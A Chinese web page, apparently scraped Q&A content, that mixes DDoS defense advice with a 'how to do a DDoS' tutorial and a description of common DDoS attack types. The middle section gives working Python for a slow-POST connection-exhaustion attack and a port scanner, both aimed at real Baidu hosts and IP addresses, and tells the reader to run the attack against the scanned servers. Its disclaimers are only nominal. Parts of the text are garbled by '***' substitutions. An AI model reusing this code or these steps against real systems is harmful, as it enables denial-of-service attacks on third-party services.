ddos攻击技术教程_ddos攻击教程

hacker|
156

如何有效防御DDOS攻击?

11种 *** 教你有效防御DDOS攻击:

1、采用高性能的 *** 设备

首先要保证 *** 设备不能成为瓶颈,因此选择路由器、交换机、硬件防火墙等设备的时候要尽量选用知名度高、口碑好的产品。再就是假如和 *** 提供商有特殊关系或协议的话就更好了,当大量攻击发生的时候请他们在 *** 接点处做一下流量限制来对抗某种类的DDOS攻击是非常有效的。

2、尽量避免NAT的使用

无论是路由器还是硬件防护墙设备要尽量避免采用 *** 地址转换NAT的使用,因为采用此技术会较大降低 *** 通信能力,其实原因很简单,因为NAT需要对地址来回转换,转换过程中需要对 *** 包的校验和进行计算,因此浪费了很多CPU的时间,但有些时候必须使用NAT,那就没有好办法了。

3、充足的 *** 带宽保证

*** 带宽直接决定了能抗受攻击的能力,假若仅仅有10M带宽的话,无论采取什么措施都很难对抗现在的SYNFlood攻击,当前至少要选择100M的共享带宽,更好的当然是挂在1000M的主干上了。但需要注意的是,主机上的网卡是1000M的并不意味着它的 *** 带宽就是千兆的,若把它接在100M的交换机上,它的实际带宽不会超过100M,再就是接在100M的带宽上也不等于就有了百兆的带宽,因为 *** 服务商很可能会在交换机上限制实际带宽为10M,这点一定要搞清楚。

4、升级主机服务器硬件

在有 *** 带宽保证的前提下,请尽量提升硬件配置,要有效对抗每秒10万个SYN攻击包,服务器的配置至少应该为:P42.4G/DDR512M/SCSI-HD,起关键作用的主要是CPU和内存,若有志强双CPU的话就用它,内存一定要选择DDR的高速内存,硬盘要尽量选择SCSI的,别贪图IDE价格不贵量还足的便宜,否则会付出高昂的性能代价,再就是网卡一定要选用3COM或Intel等名牌的,若是Realtek的还是用在自己的PC上吧。

5、将网站做成静态页面或者伪静态

事实证明,将网站做成静态页面,不仅能大大提高抗攻击能力,而且还给黑客入侵带来不少麻烦,至少到现在为止关于HTML的溢出还没出现。现在很多门户网站主要都是静态页面,若你非要动态脚本调用,那就把它弄到另外一个单独主机,免的遭受攻击时连累主服务器。当然,适当放一些不做数据库调用脚本还是可以的,此外,更好在需要调用数据库的脚本中拒绝使用 *** 的访问,因为经验表明使用 *** 访问你网站的80%属于恶意行为。

6、增强操作系统的TCP/IP栈

win2000和win2003作为服务器操作系统,本身就具备一定的抵抗DDOS攻击的能力,只是默认状态下没有开启而已,若开启的话可抵抗约10000个SYN攻击包,若没有开启则仅能抵抗数百个。

7、安装专业抗DDOS防火墙

8、HTTP请求拦截

如果恶意请求有特征,对付起来很简单,直接拦截就可以。HTTP请求的特征一般有两种:IP地址和User Agent字段。

9、备份网站

你要有一个备份网站,或者更低限度有一个临时主页。生产服务器万一下线了,可以立刻切换到备份网站,不至于毫无办法。

备份网站不一定是全功能的,如果能做到全静态浏览,就能满足需求,更低限度应该可以显示公告,告诉用户,网站出了问题,正在抢修。这种临时主页建议放到Github

Pages或者Netlify,它们的带宽大,可以应对攻击,而且都支持绑定域名,还能从源码自动构建。

10、部署CDN

CDN指的是网站的静态内容分布到多个服务器,用户就近访问,提高速度。因此,CDN也是带宽扩容的一种 *** ,可以用来防御DDOS攻击。

网站内容存放在源服务器,CDN上面是内容的缓存。用户只允许访问CDN,如果内容不在CDN上,CDN再向源服务器发出请求。这样的话,只要CDN够大,就可以抵御很大的攻击。不过,这种 *** 有一个前提,网站的大部分内容必须可以静态缓存。对于动态内容为主的网站,就要想别的办法,尽量减少用户对动态数据的请求;本质就是自己搭建一个微型CDN。各大云服务商提供的高防IP,背后也是这样做的:网站域名指向高防IP,它提供了一个缓冲层,清洗流量,并对源服务器的内容进行缓存。

这里有一个关键点,一旦上了CDN,千万不要泄露源服务器的IP地址,否则攻击者可以绕过CDN直接攻击源服务器,前面的努力都白费了。

11、其他防御手段

以上的几条建议,适合绝大多数拥有自己主机的用户,但假如采取以上措施后仍然不能解决DDOS问题,就比较麻烦了,可能需要更多投资,增加服务器数量并采用DNS轮巡或负载均衡技术,甚至需要购买七层交换机设备,从而使得抗DDOS攻击能力成倍提高,只要投资足够深入。

如何进行DDOS攻击怎么做

会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可

代码:

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)

PAGE="/index.php"

#---------------------------

buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():

  global socks

  for i in range(0,MAX_CONN):

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      try:

          s.connect((HOST,PORT))

          s.send(buf.encode())

          print ("Send buf OK!,conn=%d\n"%i)

          socks.append(s)

      except Exception as ex:

          print ("Could not connect to server or send error:%s"%ex)

          time.sleep(10)

#end def

def send_thread():

  global socks

  while True:

      for s in socks:

          try:

              s.send("f".encode())

              #print "send OK!"

          except Exception as ex:

              print ("Send Exception:%s\n"%ex)

              socks.remove(s)

              s.close()

      time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。

所以,更好用Windows里的PING进行检测

操作:

在Windows搜索栏里输入:cmd

输入:

ping -n 10 -l 1 baidu.com

//这里拿百度做示范,别真打百度!

那么,就会发现,系统反映了:

正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

39.156.69.79 的 Ping 统计信息:

  数据包: 已发送 = 10,已接收 = 10,丢失 = 0 (0% 丢失),

往返行程的估计时间(以毫秒为单位):

  最短 = 26ms,最长 = 29ms,平均 = 27ms

说明,百度的服务器有一个主服务器是39.156.69.79

那么,就来查找百度的所有服务器吧!

输入以下代码:

#绝大多数成功的 *** 攻击都是以端口扫描开始的,在 *** 安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否

#开放了指定端口,进一步判断主机是否运行了某些重要的 *** 服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴

#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度

import socket

import sys

import multiprocessing

import time as t

def ports(ports_serve):

  #获取常用端口对应的服务名称

  for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:

      try:

          ports_serve[port]=socket.getservbyport(port)

      except socket.error:

          pass

def ports_scan(host,ports_service):

  ports_open=[]

  try:

      sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      #超时时间的不同会影响扫描结果的精确度

      socket.timeout(0.01)

  except socket.error:

      print('socket creation error')

      sys.exit()

  for port in ports_service:

      try:

          #尝试连接指定端口

          sock.connect((host,port))

          #记录打开的端口

          ports_open.append(port)

          sock.close()

      except socket.error:

          pass

  return ports_open

if __name__ == '__main__':

  m=multiprocessing.Manager()

  ports_service=dict()

  results=dict()

  ports(ports_service)

  #创建进程池,允许最多8个进程同时运行

  pool = multiprocessing.Pool(processes=8)

  net = '39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击

  for host_number in map(str,range(8,10)):

      host = net + host_number

      #创建一个新进程,同时记录其运行结果

      results[host] = pool.apply_async(ports_scan,(host,ports_service))

      print('starting '+host+'...')

  #关闭进程池,close()必须在join()之前调用

  pool.close()

  #等待进程池中的进程全部执行结束

  pool.join()

  #打印输出结果

  for host in results:

      print('='*30)

      print(host,'.'*10)

      for port in results[host].get():

          print(port,':',ports_service[port])

       

你会发现,Python反映了:

starting 39.156.69.8...

starting 39.156.69.9...

//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!

接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9

就可以实现DDoS攻击了。

//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击外网IP和域名!!!

*** 安全技术 常见的DDoS攻击 *** 有哪些

常见的DDoS攻击 *** 有:

1、SYN/ACK Flood攻击

这种攻击 *** 是经典最有效的DDOS攻击 *** ,可通杀各种系统的 *** 服务,主要是通过向受害主机发送大量伪造源IP和源端口的SYN或ACK包,导致主机的缓存资源被耗尽或忙于发送回应包而造成拒绝服务,由于源都是伪造的故追踪起来比较困难,缺点是实施起来有一定难度,需要高带宽的僵尸主机支持。少量的这种攻击会导致主机服务器无法访问,但却可以Ping的通,在服务器上用Netstat -na命令会观察到存在大量的SYN_RECEIVED状态,大量的这种攻击会导致Ping失败、TCP/IP栈失效,并会出现系统凝固现象,即不响应键盘和鼠标。普通防火墙大多无法抵御此种攻击。

2、TCP全连接攻击

这种攻击是为了绕过常规防火墙的检查而设计的,一般情况下,常规防火墙大多具备过滤TearDrop、Land等DOS攻击的能力,但对于正常的TCP连接是放过的,殊不知很多 *** 服务程序(如:IIS、Apache等Web服务器)能接受的TCP连接数是有限的,一旦有大量的TCP连接,即便是正常的,也会导致网站访问非常缓慢甚至无法访问,TCP全连接攻击就是通过许多僵尸主机不断地与受害服务器建立大量的TCP连接,直到服务器的内存等资源被耗尽而被拖跨,从而造成拒绝服务,这种攻击的特点是可绕过一般防火墙的防护而达到攻击目的,缺点是需要找很多僵尸主机,并且由于僵尸主机的IP是暴露的,因此此种DDOS攻击方式容易被追踪。

3、刷Script脚本攻击

这种攻击主要是针对存在ASP、 *** P、PHP、CGI等脚本程序,并调用MSSQLServer、MySQLServer、Oracle等数据库的网站系统而设计的,特征是和服务器建立正常的TCP连接,并不断的向脚本程序提交查询、列表等大量耗费数据库资源的调用,典型的以小博大的攻击 *** 。一般来说,提交一个GET或POST指令对客户端的耗费和带宽的占用是几乎可以忽略的,而服务器为处理此请求却可能要从上万条记录中去查出某个记录,这种处理过程对资源的耗费是很大的,常见的数据库服务器很少能支持数百个查询指令同时执行,而这对于客户端来说却是轻而易举的,因此攻击者只需通过Proxy *** 向主机服务器大量递交查询指令,只需数分钟就会把服务器资源消耗掉而导致拒绝服务,常见的现象就是网站慢如蜗牛、ASP程序失效、PHP连接数据库失败、数据库主程序占用CPU偏高。这种攻击的特点是可以完全绕过普通的防火墙防护,轻松找一些Proxy *** 就可实施攻击,缺点是对付只有静态页面的网站效果会大打折扣,并且有些Proxy会暴露DDOS攻击者的IP地址。

0条大神的评论

发表评论